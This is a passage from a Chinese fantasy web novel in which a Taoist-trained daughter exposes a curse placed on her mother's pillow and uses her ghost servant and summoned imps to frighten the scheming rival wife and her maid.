甄氏和金嬷嬷齐刷刷打了个一个寒噤。
“嬷嬷,我娘的枕头除了你,还经过谁的手?”
殷琉璃凌厉的目光忽然看向金嬷嬷,声线凌厉。
“不是老奴,真的不是老奴做的!”
金嬷嬷被那双眼睛吓得噗通一声跪下,满面惊慌道,“大姑娘明鉴,老奴对夫人一片忠心,绝不会做出这等背叛主子的恶行!”
甄氏也吃了一惊,忙说,“琉璃,娘信得过金嬷嬷,一定不会是她!”
“嬷嬷,我信你。”
殷琉璃有点儿无语,抬手把她搀扶起来说,“我就是问问这枕头还经过谁的手。”
“大姑娘明鉴,大姑娘明鉴!”
金嬷嬷捂着擂鼓般的心口,哆哆嗦嗦的说,“以前住那院里的时候,只有老奴和春柳照看夫人的衣食起居,难道、难道是她?”
殷琉璃脸上起了一层寒霜,
“是不是她,试试就知道了。娘,我要把这枕头撕开探查,行吗?”
甄氏忙点点头,声音颤抖的说,
“拆、拆吧……如今你在娘的身边,娘再也不需要抱着它睡了。”
殷琉璃从袖中取出一把小刃,刺啦一下割开枕头,露出里面密密麻麻的荞麦皮。
旁人看不出什么,可在她眼里,这些荞麦皮全都裹着一层若有若无的黑气。
“哇呀呀,出来。”
殷琉璃将耳报神召出来,抓起一把荞麦皮递过去,用心念道,“仔细看看,查清楚是谁。”
“哇呀呀……主人,这东西好邪!”
哇呀呀嫌弃的上前嗅了嗅,抱了抱拳道,“末将领命!”
咻……
它一个转身消失不见。
“琉璃,你这是……”
甄氏和金嬷嬷看她凌空举着一把荞麦皮,眼睛看着空气可又不说话,不由面面相觑。
殷琉璃勾唇道,
“娘,是我的耳报神,为我查探消息。
它原是一位战死沙场的将军,因怨气太重化作厉鬼,被我收服后不肯重入轮回,就做了我的耳报神
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。”
金嬷嬷浑身的鸡皮疙瘩都起来了,不可思议的看着她,
“大、大姑娘,你还会抓鬼?”
“会呀,抓鬼驱邪、风水命理都会一些,不过运符是我的强项。”
殷琉璃勾了勾唇,随手把枕头递给她,吩咐道,“嬷嬷,找个地方用艾草、菖蒲做柴把这东西烧了,在撒上朱砂掩埋。”
“是。”
金嬷嬷本能的伸手,可一想到这枕头用**的东西下过魇,一双手顿时停在半空,结结巴巴的说,
“大、大姑娘,这东西怪吓人的,能摸吗……”
“嬷嬷不用怕,我给你一张金光符,可驱邪避煞。”
殷琉璃抬手在她额头凌空画了一道符,符光一闪便没入金嬷嬷的眉心。
金嬷嬷看不见符光,只觉得眉头好像极快的燎了一下似的,整个人说不出的神清气爽。
“老奴这就去!”
她这才敢接过枕头,欢天喜地的出去焚烧。
殷琉璃拉过甄氏的手,心疼的说,
“娘,这些年我寄给你的符都带着吗?”
甄氏忙点了点头,“带着呢,都按你的吩咐日日不离身。”
殷琉璃攥紧了拳头,冷冷道,
“又是殁骨,又是魇术,可真是够歹毒的!
既然你们手这么狠,那就别怪我也不客气!”
自从她学会灵符,第一时间给娘画了一道平安符,托人送回去让她日日戴在身上。
以后每年都会给她换上一道新的,若不是靠着灵符,她床下被人放下殁骨用不了多久就会疾病缠身而死。
“哇呀呀……报!主人,害夫人的就是春柳!”
哇呀呀旋风一般回来,在她耳边摩拳擦掌的说,“她被打的半死如今躺在柴房里,哇呀呀替主人弄死她去?”
殷琉璃摆了摆手,眸光一闪忽然冷笑,
“弄死她太便宜了,害我娘,我要她百倍奉还!哇呀呀,附耳过来……你去,这般。”
“哇呀呀……末将遵命!”
哇呀呀听的兴高采烈,忍不住夸了一句就跑,“主人,你好狡诈!”
殷琉璃,“……”
第17章 黑煞金刚
有这么夸你主人的吗?
春柳不过是个小喽啰,留她一条命还有用处。
春柳背后那位,就自求多福吧。
……
柴房里堆满了木柴草料,昏暗杂乱,连个下脚的地方都没有。
因挨着马厩,一股子马粪味儿混着潮气令人作呕。
“奴婢知错了,奴婢再也不敢了……”
春柳瑟缩着身子躺草料堆里昏昏沉沉的睡着,不时发出一声含混的呻吟,“王夫人救我!救我……我不要被发卖……”
她只等着明年四少爷成了亲,王夫人就把她送去做妾室,从此飞上枝头呢,谁承想那个大姑娘手段如此厉害!
早知如此,给她一百个胆子也不敢背叛甄氏呀!
“哇呀呀……”
一道身影闪过,哇呀呀拇指长短的身子浮现在春柳的面前,舞了舞手中的大刀,“本将军来也!”
“救我……救我!”
春柳隐约听见有人来了,竭力掀了掀眼皮子,“谁?是、是谁……”
“咣当”
“你爷爷在此!”
哇呀呀拇指大的身子在空中一转,高大魁梧的身形缓缓在空中浮现。
他身着一套金丝铠甲,头戴凤翅金盔,盔檐一缕红缨,身高八尺虎背熊腰,就有着说不出的威风凛凛。
一张阴森的脸隐在昏暗的光线中。
春柳浑身打了个激灵,哆哆嗦嗦的问,
“你……你是谁?”
“哇呀呀!本将军战功赫赫,你连我都不认识?那爷爷就让你认识认识!”
哇呀呀不爽的哼了一声,昏暗的柴房中缓缓露出一张脸来。
那张脸面色青黑,一双铜铃般的眼窝没有瞳子,黑洞洞说不出的吓人。
鼻子是个空洞,口中衔着两枚白森森的獠牙,一副恶鬼相凶悍狠戾,宛如一尊黑煞金刚!
“啊!”
春柳尖叫一声,整个人都麻了,顾不上屁股开花的剧痛手脚并用往草垛里爬,“鬼……鬼啊!你不要过来,你不要过来啊!”
哇呀呀青面獠牙的脸上露出一抹狰狞,厌恶道,
“还想跑?本将军最恨背主之人!让你尝尝本将军的厉害……哇呀呀!”
说罢,他凌空抬手,掐住了春柳的脖子将她高高的举了起来。
“咯咯咯……”
春柳喉咙中发出难听的咯咯声,骨头似乎要断了似的痛,一双手脚在空中拼命挣扎,“救……命……”
哇呀呀任凭她挣扎,直到那张脸憋到发紫才抬手把她扔在了草垛上。
他飞身上前,一脚踏在春柳的胸口,厉声喝道,
“把你知道的事情全都给我说出来,本将军还能饶你不死!否则不然……哼!”
手中的长刀咣当一声插在了春柳的头顶上。
“鬼啊……”
春柳两眼一翻晕**过去。
“**?哇呀呀,你**我怎么跟主人交差?给我醒过来!”
哇呀呀皱了皱眉,在她鼻息上探了一下,随手就是一个巴掌,“啪!”
春柳幽幽的醒转,睁开眼睛又看到那张能让她做一百年噩梦的脸,失声尖叫,
“鬼啊……”
“啪”
哇呀呀抬手又是一个巴掌,怒喝道,“你鬼叫什么?老实点儿!现在爷爷问你话,都给我一五一十的说出来!”
“是!是!”
春柳蜷缩在草垛里,浑身筛糠般颤抖,“鬼爷爷尽管问,奴婢、奴婢不敢隐瞒,奴婢什么都肯说……”
……
“这什么破地方?屋子这般小,用具这么旧,是给人住的嘛!”
搬进新院子,王氏恨的咬牙切齿,“甄氏那个**怎么不**?如今仗着那个妖孽女儿,竟敢爬到老娘头上拉屎……”
殷玉珠放下茶碗,冷冷的说,
“娘,当初我就叫你不要心慈手软,非要听马道婆的主意!
早一碗药灌进去不就干净了?”
王氏鼓了鼓腮帮子,恨恨拍桌道,
“当初不就是听马道婆说不能造杀业,用些法子叫她自己**不与我有牵连嘛!
谁知道用了**的骨头都弄不死她!
且不说这个,玉珠,马道婆有办法对付殷琉璃那个妖女?”
殷玉珠脸色一
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黑,抿唇说,
“别提了,她在观里突然暴毙而亡,死相与孙嬷嬷如出一辙。”
王氏吃惊的站了起来,“什么?这是怎么回事!”
“娘你别急,听我说完。”
殷玉珠沉着脸说,“马道婆虽**,可我碰见她那个师兄,叫做无崖子的老道士。
他说马道婆和孙嬷嬷一样,只要沾过那块**骨头的人,都被殁骨术反噬暴毙。”
王氏心里顿时哆嗦了一下,不由自主的看了看自己的手,
“阿弥陀佛!幸亏当初我没敢碰那邪性物件,让孙嬷嬷接的手……
那、那无崖子怎么说的,他有办法?”
殷玉珠冷笑一声,狠狠道,
“无崖子道长自然是要为他的师妹报仇,加上我许了事成之后为他重修道观捐一千两银子,他决定亲自出山对付殷琉璃那个妖女!
不过要我们等两日,要到那妖女上花轿时动手。”
“这就好了,这就好了!”
王氏拍着胸口连说了几声好,风韵犹存的脸上露出一抹狰狞的冷笑,“看那妖女能得意到什么时候!”
殷玉珠紧紧攥住手心,笑的更加阴险,
“马道婆说过,她师兄无崖子法术出神入化,已经修炼到半仙之体,我就不信那妖女能敌得过他!
等她上了花轿再被无崖子打散一身的邪术,嫁给那个克**七个未婚妻的世子,没准用不了几天就**呢!
只可惜不能弄死她,解我心头之恨!”
殷琉璃要是**,殷侯府就要再找个女儿嫁过去。
谁愿意去跳公主府那个火坑!
“就是克不死她,你以为那个纨绔世子是什么好东西?”
王氏掰着手指头得意洋洋的说,“从小就被成懿公主惯的无法无天,成日**、打架斗殴无恶不作。
嫁给这种人,那个妖女这辈子怕是过不上什么好日子,打死她都没人去问!
哪儿像我的玉珠,嫁的可是国公府的嫡长孙,那孩子长得一表人才,又满腹经纶,听说连圣上都对他赞口不绝,以后前途无量呢……”
第18章 小鬼抬轿
想起未来夫婿,殷玉珠脸上顿时闪过一抹得意,故作娇羞的嗔道,
“娘,好好的提他作甚?那妖女的夫婿能跟我的夫婿比嘛?她也配!”
她心头冷笑一声。
殷琉璃,以后我做风光无限的国公府少夫人,妻凭夫贵。
你被你那个纨绔世子欺辱蹂躏的时候,可不要怨我!
……
凤栖梧,金嬷嬷招呼两个仆妇摆好了晚饭。
一盘清蒸鳜鱼,一盘山煮羊,一盘炙猪肉,两样时蔬和一盆鸡汤。
主食上的是香米饭,搭配了甜的雪霞羹和五香松糕,富贵酥几样点心。
看着满桌的美食,甄氏微微发怔。
都是殷侯府主子们寻常用的晚饭,她已经十来年没吃过这样的东西了。
搬去破院那十几年,王氏打着清淡养身的借口,时常把她的饭食减到一碗饭一个素菜,就是猪肉这种低等的肉食都懒得给她。
有时候还故意让厨房拖着不给,直到金嬷嬷过去要,才拿些凉透了的给她。
“娘,吃饭。”
殷琉璃盛了碗热汤放在甄氏面前,娇美的脸上带着小女儿特有的天真烂漫,撒娇般的说,
“娘想吃哪个,琉璃给娘夹,娘要多吃些把身子养好才行。”
娇俏的语气和神态给金嬷嬷看的一愣一愣的。
到底才十五岁,他们这位大姑娘显不厉害的时候,分明就是一个赖在娘身边撒娇的小女儿嘛!
“都好,琉璃给娘夹的菜,都好!”
甄氏回过神儿来,满脸疼惜的说,“不用顾着娘,你自己多吃些。琉璃,这些年你在玄清观吃了不少苦吧?”
说着给她夹了一大块鲜嫩的鳜鱼。
“唔……才没有!我们山上到处都是好吃的东西,师父和五个师兄可疼我了,什么好吃的都给我吃!
娘,这个鱼还没有大师兄从河里钓的鱼好吃呢!”
殷琉璃吃了一口鳜鱼,不由撇嘴嫌弃,“肥美是肥美了些,就是太寡淡了!
娘,我大师兄喜欢钓鱼,二师兄喜欢做饭,三师兄擅长草药……大师兄钓了鱼回来,二师兄就用三师兄采的草药做鱼,做的可好吃了!”
甄氏不觉一笑,“那你还有两个师兄呢,他们喜欢做什么?”
殷琉璃灵动的眸子闪过一抹得意,得意扬扬的说,
“四师兄五师兄和我一样,喜欢等着吃!”
“扑哧……”
金嬷嬷不由跟着甄氏一起笑出声来。
时隔多年,娘俩这是第一次一起吃饭,说不出的温馨。
殷琉璃叽叽喳喳的把几个师兄的糗事,还有师父平日里怎么威严,其实私底下就是个可爱的小老头,全都讲给娘听,把甄氏逗的眉宇从未有过的舒展。
屋里娘俩的笑声不断,门外忽然传来了脚步声。
仆妇忙进来说,“夫人,大小姐,老爷来了。”
热闹的气氛戛然而止。
甄氏脸上的笑意缓缓退去,眼神也变得冷淡了很多,看见殷镜堂进来起身道,“侯爷来了。”
殷琉璃端着碗继续吃,瞧都不瞧他一眼。
“夫人用晚饭呢?”
殷镜堂用清咳掩饰尴尬,陪笑说,“琉璃,今日的饭菜可合胃口?有什么想吃的跟爹说,爹让人……”
殷琉璃才不过跟他客气,挑着眉说,
“有啊,明日给我们凤栖梧请两个厨娘来,专门我娘的一日三餐。”
殷镜堂唇角抽了抽,“对对,爹也正想说来着……你娘身子一直不好,是该有个小厨房专做饮食。”
“谢了。”
殷琉璃挑了挑眉,“侯爷还有旁的事儿吗?我和娘吃饭呢,没有就请了。”
殷镜堂一脸尴尬,
“没、没事,爹就是来瞧瞧你……爹刚从外面给你置办嫁妆回来,也没吃饭呢。”
说完,他就等着甄氏开口留他吃饭。
甄氏却垂着眸子静静的站在桌旁,一声不吭。
殷镜堂厚着脸皮,好言好语的说,
“夫人,我忙了这半日……”
甄氏语气说不出的平淡,“辛苦侯爷,侯爷早些回房歇着吧。”
他已经够低声下气了,素日那个低眉顺眼的女人竟还要赶他!
殷镜堂眉头一皱,本能的想发火
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可殷琉璃两道冰冷的目光盯在脸上,他一肚子火气顿时哑了火,只好尴尬的笑笑,
“是累了些,那为夫先回去了,不妨碍你们娘俩说体己话……”
说着看了甄氏一眼,可这一眼他心头情不自禁的闪过一丝久违的悸动。
甄氏像是刚沐浴过,身上萦绕着玫瑰澡豆的丝丝芬芳,穿着一身家常衣裙,素青的颜色格外清新悦目。
甄氏用一根银簪将长发在脑后挽起,双鬓垂着缕青丝,以前苍白的双颊泛着红润的光泽,温顺的眸子也闪着光一样。
她身子纤细轻盈,眉眼秀丽如画尽显温柔,一双唇美的让人心颤。
周身带着美妇人说不出的风韵,比年轻时的青涩越发迷人。
比起这些年病怏怏的样子,简直像是换了个人似的!
殷镜堂喉头不自觉的滚动,小腹隐隐涌上一股火热。
忍不住往她跟前凑了凑,腆着脸笑说,
“天色这么晚了,要不为夫索性在这里吃一些再回去?”
甄氏不由凝眉,“……”
她好容易才和女儿在一起吃顿饭,怎么能让他一起!
“不好了!不好了!”
还没等她开口,院子里传来了慌乱的叫声,“老爷,不好了!”
“混账!在夫人院子大呼小叫,还有没有规矩了!”
殷镜堂恼火的冲外面喝了一声,“什么事?”
王氏院子的那个管家进来,脸色张皇失措的说,
“老爷,我们夫人……我们夫人出事了!
受、受了好大的惊吓,跟疯魔了一般在屋里闹呢!”
殷镜潭心里不由咯噔了一下,“什么事?谁、谁惊吓她了?”
管家满目惊恐,
“夫人说疲累早早的就上床歇了,谁知睡着睡着人不知怎的去了茅厕!
等醒来一头栽进去沾了满头满脸的……夫人满嘴说她看见几个小鬼,抬着她去了茅厕,如今吓得人都快疯了,老爷您快去看看吧!”
“什么?掉、掉进茅厕?”
殷镜堂大惊失色,“她好好的睡觉,怎么会掉进茅厕去!”
第19章 下地狱,进油锅
话音一落,他头皮忽然麻了麻,看向殷琉璃。
殷琉璃慢悠悠的嚼着嘴里的饭菜,斜眼看回去,
“侯爷看**什么?”
刚在门外还听见她跟甄氏叽叽喳喳的说话,声音轻灵悦耳,一派娇憨之态,可转脸跟他说话这声音就透着说不出的阴冷。
那双眼睛又大又亮,黑白分明,明明是女儿家最讨喜的一双眼睛,看他时就带着一股让人心底冒寒气的凌厉。
殷镜堂心里不由自主的打了个哆嗦,含混的掩饰,
“没、没什么……夫人,琉璃,你们先用晚饭,我去瞧瞧去。”
他本来想问是不是殷琉璃的手段,这下哪儿还敢?
可这丫头一回来就把府里闹了个鸡犬不宁,除了她有这本事还能有谁!
他请回来的这到底个什么东西啊!
早知道还不如一家子去流放!
……
“放开我!不要抓我,求求你不要抓我……”
“鬼、鬼……到处都是鬼!一个大的铁青的脸,满嘴獠牙,眼珠子比牛还要大,就那么直勾勾的看着我!
几个小的跟鬼猴子一般,手里抓着铁叉,它们把我插起来往天上飞……”
“救命、救命啊!我不要下地狱,我不要进油锅、我不要进油锅!”
……
珠兰院里传出王氏见鬼般的惊叫哭喊声,下人们一个个噤若寒蝉,躲在角落里大气儿不敢出一声。
房里乱成一锅粥。
王夫人刚被张嬷嬷和两个贴身的丫鬟,按着用了一碗澡豆才洗干净了身子。
满头满脸的屎尿可把几个人恶心坏了,一边儿洗一边儿干呕,澡水换了一桶又一桶,洗了三四遍好似还有些味道。
谁知一个丫鬟刚捧着件衣裳进来,又惊着了她,光着屁股就从沐桶里蹿出来往外跑,
“鬼啊、鬼来抓人啦……”
张嬷嬷脸都绿了,带上人就追。
好容易在走廊里按住了她,硬是拖回屋里七手八脚的给她穿衣服。
一个主母夫人光着屁股满院子跑,这要是传出去,他们这院儿以后还有脸见人嘛!
张嬷嬷几个费了吃奶的力气才把发疯的王氏按在床上,搂着她一个劲儿的哄着,
“夫人这是梦魇着了,不怕,不怕啊……”
“夫人仔细瞧瞧,哪儿有什么鬼?老奴在这儿陪着夫人呢,就是有鬼也先抓老奴不是?”
“夫人快喝口压惊茶……”
“二小姐呢?这光景了二小姐怎么不在,还不快着人去找!”
……
外面此后的仆妇赶紧进来回话,
“回嬷嬷话,二小姐刚还在呢,一扭脸就又出去了,刚去了屋里找不见人。”
张嬷嬷恼火的摆摆手,
“没用的东西!老爷呢,请老爷来了没有?还不快请老爷去!”
“老爷来了!”
管家一溜烟的过来,站在门口说,“嬷嬷,夫人收拾好没有?老爷这就到。”
“收拾好了。”
张嬷嬷会意的点点头。
夫人刚从茅厕里救回来时,头上脸上到处都是屎尿,头发上滴滴答答往下流汤,阿臜的不像个人。
那味儿顶风十里能把人熏一个跟头,要是让老爷瞧见这副光景,以后夫人就是把腰扭断了也别想再看见老爷踏进这院儿一步!
老爷这人脸上忠厚,其实性子里凉薄的很呢。
“怎么回事?好好的怎么掉进茅厕里去了?”
殷镜堂沉着脸大步进来,不由自主的抬手顶了顶鼻子。
可能是心理作用,屋里明明满是澡豆的味道,可他总觉得夹着一丝恶臭。
“老爷,夫人惊吓过度,您快瞧瞧吧。”
张嬷嬷忙迎上前,一脸悲愤的说,“夫人不是掉进茅厕,好好的睡觉谁往哪里去?她一定是被人使了邪术,老爷您可要替夫人做主啊!”
“鬼、有鬼……”
王氏披着湿漉漉的头发,一身衣裳贴在身上,蜷缩着身子躲在床角抱着双膝发抖。
那张原本风韵十足的脸此刻满是苍白,脸上沾满了碎发,眼角下隐约翻着一抹乌黑,眼神空洞,惊恐万状。
什么见鬼,她如今这样子活脱脱就像个鬼!
殷镜堂脑海中忽然闪过甄氏的模样。
当初
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甄氏可是闻名京城的美人儿,他也是费了好大的力气才娶回来的,那时倒也恩爱了几年。
只是甄氏性子太过清冷,又温顺又安静,就是在床上也时常如小儿女般羞涩的放不开手脚,活脱脱是个冰山美人。
后来他遇到性子火辣,妖娆妩媚的王氏,王氏容貌是比甄氏差了一大截,可是个会勾人的。
两人偷偷厮混了两年,直到王氏有孕跟他闹,殷镜堂索性把她娶了回来。
王氏以平妻的身份进门,就让她掌管内债,不多久她就把甄氏弄到后院的“冷宫”里去了。
甄氏因为女儿变得病怏怏的,殷镜堂更没了心思管她,索性也就对王氏打压甄氏,睁一只眼睛闭一只眼睛。
如今再看看这两个女人,两相对比,他心里不由就涌上一股懊恼。
当初自己脑袋里是不是也进了屎?
“夫人。”
殷镜堂暗暗吸了口气,耐折性子走到床边问候,“感觉好些没有?”
“不要抓我,不要抓我!”
王氏尖叫一声,四脚着地狗一般在床上乱爬躲避,
“大鬼……大鬼带着小鬼来抓我了,求求你们放过我吧!以后我给你们烧高香,你们要什么我给什么!”
“夫人,你看看我是谁?”
殷镜堂脸上闪过一抹恼怒,压着心里的火气说,“什么大鬼小鬼,这里哪有鬼?鬼抓你作甚……”
“对,对,你们抓**什么,你们去抓那个**呀!”
王氏浑身哆嗦了一下,抬起那张苍白的脸忽然露出一抹狞笑,“你们要多少香火元宝我都给你们,去把那个**抓了去!
还有那个小**……母女俩都是**!把他们拖下地狱,下油锅!
抢我的位子,在我面前耍威风,还把整个侯府都要了去呢!他们才该死!
老爷也该死!眼睁睁看着我被**母女欺负,他都不帮我!
当初还以为他有多好呢,谁知蠢到得罪宰相大人,害得全家要被流放……
哈哈哈……蠢货!”
殷镜堂脸色顿时一黑,“闭嘴!你、你简直不可理喻!”
第20章 师父说,干就完了!
自打他得罪了宰相大人,王氏就一改往日的热情,时常还阴阳怪气他几句。
这一疯倒是把心里话吐出来了。
刚被宰相联合几位重臣**的时候,他想不到法子应对,心里烦闷不知不觉走到了后院儿。
那时甄氏在那个破旧的院子里做女红,看见他来,病怏怏的脸上挤出一丝笑意,低低的说,
“听说侯爷近日有些烦事,放宽心些吧。”
说完虽不再理会他,可那句话让他烦乱的心里不由自主的静了一回。
“鬼、鬼呀……”
王氏的喊叫打断殷镜堂的思绪,她抱着头在床上打滚乱爬,躲进角落里尖叫苦恼,
“滚!你们给我滚啊……我不要下地狱,我不要进油锅……”
“你真是疯了!”
殷镜堂心里说不出的恼火,噌的一下起身要走,“来人,给我看好夫人,别叫她出去给我丢人现眼!”
“侯爷这就要走了?”
张嬷嬷头皮一阵发紧,忙求着说,“侯爷莫怪,夫人受了惊吓才会胡言乱语,谁知道被哪个会邪术的人给下了东西?
侯爷少不得去查一查,好歹把害夫人的捉拿住才是……”
“她若自己好好的,谁给闲的给她使什么邪术?”
殷镜堂狠狠瞪了嬷嬷一眼,不耐烦道,“我又不是大夫,在这儿有什么用。去叫人请大夫了没有?”
“爹你什么意思?”
话音未落,殷玉珠尖锐的声音从身后传来,语气中带着一股怒火,
“我娘都这样了,你还在这里说风凉话?你是不是也被那个妖女下了邪术了,你不担心我娘,反倒为那个妖女说话!”
殷镜堂恍然察觉自己说错了话,脸上有些讪讪的皱眉,
“胡说什么,爹不是这个意思……对了,你娘闹成这样,你去哪儿了?”
他从小最疼爱的就是殷玉珠,这个女儿天生机灵懂事,会看人眼色,嘴又甜。
最重要的是,她未来夫婿是国公府的嫡长孙,前途无量,方国公又是皇上最为倚重的肱骨之臣,是朝中少数能与宰相抗衡的重臣。
殷玉珠嫁去国公府,殷家以后可就多了一个大大的靠山,他还用怕那个宰相那个嚣张跋扈的老东西?
殷玉珠唇边勾起一抹冷意,愤愤道,
“我娘吓成这个样子,女儿还能去哪儿?赶着去了趟朝露观为娘求了解厄之法。
朝露观的无崖子道长说我娘中了鬼抬轿的邪术,幸亏救的及时,不然命都没了!”
殷镜堂心里顿时咯噔了一下,“你是说……”
……
凤栖梧。
明亮的烛光下,甄氏温柔的脸上闪过一抹担忧,欲言又止道,
“琉璃,那边的事儿……”
“是我让哇呀呀干的。”
殷琉璃淡淡挑眉,毫不掩饰的说,“王氏让人给娘贴身的枕头里下了魇,想用法术害娘,我就以其人之道还治其人之身,让她也尝尝寤寐不安,恶鬼侵身的痛苦。”
“我的娘啊,那王夫人没说出,她还真见了鬼了?”
金嬷嬷只觉一股子凉气蹿过后脖颈,后背不由自主的往墙上靠了靠。
“嗯,她对我娘做了什么,我就十倍奉还。”
殷琉璃唇边勾起一抹淡笑,伸出纤细的手指比画了一下,“我用的是鬼抬轿之术,几个小鬼儿神不知鬼不觉就能把人抬到任何地方去。”
金嬷嬷心口砰砰直跳,又是害怕又是好奇,
“那、那……小鬼儿就能听大姑娘的话?”
“噗嗤……”
殷琉璃笑出声来,“一张驱鬼灵符而已,不是什么难事儿。”
甄氏也满脸吃惊,“驭鬼之术不是邪术吗?听说、听说小鬼儿会吸人的阳气,对人不好。
琉璃,你千万不要为娘犯险!”
殷琉璃摇了摇头,轻描淡写的说,
“娘,我们道家用的驱鬼灵符不是邪术,是以太上老君之敕令,召集妖魔鬼怪为役。
也可驱赶害人之鬼怪,救人性命。只不过看你怎么用,在我手里便是活学活用。
师父说了,咱不害人,但做人也不能太克制,人欺负到你头上你还跟他讲啥规矩?干他就完了。
这世上的规矩都是给没本事的人讲的,所谓你敬我一尺我还你一丈,你害我一次我十倍奉还!”
甄氏唇角抽了抽,“……”
女儿这师父,是不是
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多少有点儿超凡脱俗了?
这世上到处都是规矩,人人讲了这么多年的规矩,到他嘴里怎的成了反叛?
她不由握住了殷琉璃的手,红着眼框谆谆道,
“娘虽不甚明白你师父的话,可娘也不想你为娘犯险,王氏他们母女不值得我女儿犯险!”
殷琉璃心里暖了暖,乖乖的嗯了一声,
“娘的话我记下了,放心,我自有主张。”
“对了大姑娘……”
金嬷嬷听着心里解气,可又忍不住一只猫爪子在心里乱挠,好奇的问,“你真能看见小鬼儿?它们张什么样儿呀?
上回你说你的耳报神是个恶鬼,是不是长得特害怕人?”
“小鬼就是死前容貌,不过多了一层阴森诡异罢了。”
殷琉璃眉宇间忽然闪过一抹俏皮,笑嘻嘻的说,“娘,嬷嬷,介绍给你们认识我的耳报神呀,他叫哇呀呀,前世是个特别厉害的大将军!”
“哇呀呀……是特别能战,横扫千军,特别威风,威武霸气,我朝圣上亲封的镇北威武大将军!”
哇呀呀在她耳朵里得意洋洋道。
殷琉璃,“……”
“呸,厚脸皮大将军还差不多!”
她用心念啐了一声,“你少多嘴,一会儿出来见我家人,要乖乖!”
“哇呀呀……”
哇呀呀一个闪身从她耳朵里钻了出来,双手抱拳,“末将遵命!”
“大姑娘不要吓老奴!老奴可没那个胆子……”
金嬷嬷惊呼一声,不由自主的靠在甄氏的身边,满脸害怕。
甄氏知道它不会害人,虽不怕,可心里也说不出的抗拒,紧张的说,
“不、不用了琉璃,人鬼有别,别、别打扰人家……”
殷琉璃想了想,正色道,
“其实让娘和嬷嬷见我的耳报神,女儿还有另一层意思。
过几天我就要嫁去公主府,时时不在娘的身边,哇呀呀以后可替女儿与你们传话。
你们彼此见一见,以后也就不会惊慌害怕了。
再者……”
说着,她灵动的眸子一转,狡黠的眨了眨眼说,
“你们不想听听王氏是怎么被小鬼抬轿的?”
第21章 床角有鬼
甄氏屏住了一口呼吸,“这……”
金嬷嬷则是又紧张又好奇,手里的帕子都快给她攥烂了,“想,当然想!”
殷琉璃冲耳边打了个响指,
“哇呀呀,现身。”
“呼……”
一阵疾风袭过,旋风拔地而起,杯盏被吹的当当作响。
金嬷嬷眼前一晃,便见半空中现出一只头戴金盔的脑袋,金盔上飘着一缕红缨。
一张威严肃穆的国字脸,枣面长须,虎目浓眉,眉角如一把**上扬,一张阔口像是能吞人。
这是他本来面目,与吓唬春柳时青面獠牙的厉鬼形象差了十万八千里!
高大魁梧的身形旋即现了出来,着一身厚重的铠甲,肩披红氅,手中握一柄寒光凛凛的长刀,虎背熊腰气吞山河。
那威风凛凛的气势带着十足的压迫力,吓哭隔壁小孩儿。
“娘呀!咋长得跟个门神似的!”
金嬷嬷准备的再好,也给他气势汹汹的登场吓得登登退了两步,整个人都麻了。
“哗啦”
长刀戳地,哇呀呀抬手将红氅一撩,单膝跪在甄氏面前,双手抱拳喝道,“末将见过夫人!”
洪钟般的声音震的人耳根子嗡嗡作响。
“不、不敢当……”
甄氏捂着砰砰直跳的心口,赶紧抬了抬手,“将军快快请起。”
“谢夫人!”
哇呀呀噌的一下起身,把长刀拔在手中,挺拔的站在一旁。
殷琉璃一脸无语,心念道,
“我说,你用得着这么隆重登场吗?”
哇呀呀骄傲的拍了拍胸脯,“咱好歹也是个大将军!”
殷琉璃笑着骂了一句,“我怎么跟你说的,要乖乖!你看你都吓到我娘了。”
“哇呀呀……冤枉啊主人!我生前就是这般样子,哪儿不乖了?”
哇呀呀孩子气的挑眉,“怎样?威风不!”
虽说他前世是位征战沙场的大将军,以封狼居胥的霍去病后世分病自居,其实也才17岁,在殷琉璃面前时常显露些少年**气。
“还行。”
殷琉璃翻了个白眼儿,“跟我娘说说,你们怎么把王氏弄到茅厕去了?”
“是!”
哇呀呀抱了抱拳,绘声绘色道,
“哇呀呀……启禀夫人,主人用驱鬼术召了四只小鬼头,闯进那王氏屋中,看她睡着便各自抬了手脚往屋外去。
本想把她扔去山上等醒了自己回来,谁知她还没出府邸就惊醒了,看自己漂浮在空中便吓得失声尖叫。
末将嫌她惹厌,便化作青面獠牙之相教训了她一番,瞅着下面有一茅厕,便让小鬼头把她抬进去,咕咚一声扔了。”
甄氏抬手掩唇,听的笑也不是怕也不是。
金嬷嬷攥着她的衣袖,呲牙咧嘴的追问,“大、大将军教训她啥了?”
哇呀呀挑了挑剑眉,轻描淡写的说,
“哇呀呀……就是告诉她再敢不安好心,就把她拖下地狱,丢进油锅!
哗啦哗啦的炸上一番,直到外焦里嫩!”
“我的娘诶,这不把人吓疯了才怪!”
金嬷嬷头皮一麻,真恨自己多嘴问了那一句。
甄氏捂着胸口连连摆手说,“罢了罢了,可别再说了,怪吓人的。”
“行了,哇呀呀,你认清我娘,日后替我们传话。”
殷琉璃笑着冲他勾了勾手指,“没你的事了,回来。”
耳报神与主人之间签有生死契,只忠一主,若有背叛主人有生杀之权。
主人也需要以自身灵气滋养它于天地之间,助它修炼,它吸收主人身上的灵气便可不惧阳光、雷火。
与寻常鬼怪不同,它能在任意时刻出现。
除非耳报神灰飞烟灭,主人一生也不得再收第二个。
殷琉璃的耳报神不会听从甄氏吩咐,不过传话是没问题的。
“哇呀呀……末将遵命!”
哇呀呀抱拳应了一声,身形一转便在甄氏眼前消失的无影无踪。
“他走了?”
金嬷嬷怔了半晌才敢说话,双手合十口里直念,
“阿弥陀佛,可真够吓人的!大姑娘,你是怎么收了这么个家伙的,光是往那一站就够吓人的了!”
殷琉璃笑嘻嘻的说,“简单,打服了就行。”
当晚她经过村子时便感觉到一股极其阴邪的
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气息,迎头便撞见一只青面厉鬼在村里转悠,凶神恶煞要抓了活人来吃。
她与这家伙战了几个回合,三张五雷诛邪灵符出手差点儿没给它打的魂飞魄散。
哇呀呀这才现出前世战死时的将军模样,跟她求饶。
谁知就缠上她了,抱住她的大长腿哭着喊着要追随殷琉璃修炼。
殷琉璃烦的没办法,就把它收做了耳报神。
“我的娘啊!”
金嬷嬷暗暗吐舌头。
……
珠兰院。
殷玉珠冷着脸吩咐了一声,
“嬷嬷,你们都出去。没有我的吩咐,不管听见什么声音都不要进来。”
殷镜堂前脚走了,她被这个面热心冷的爹气的心口疼,可见男人都是靠不住的!
现在要紧的就是稳住母亲的地位和权利。
生在这种父亲妻妾成群的高门大户之中,每一处都要小心算计步步为营,才能站稳脚跟,日后在夫家有娘家可做靠山。
不然看那些庶出或者母亲身份卑微的女儿们出嫁,哪一个能得夫家的好脸面看?
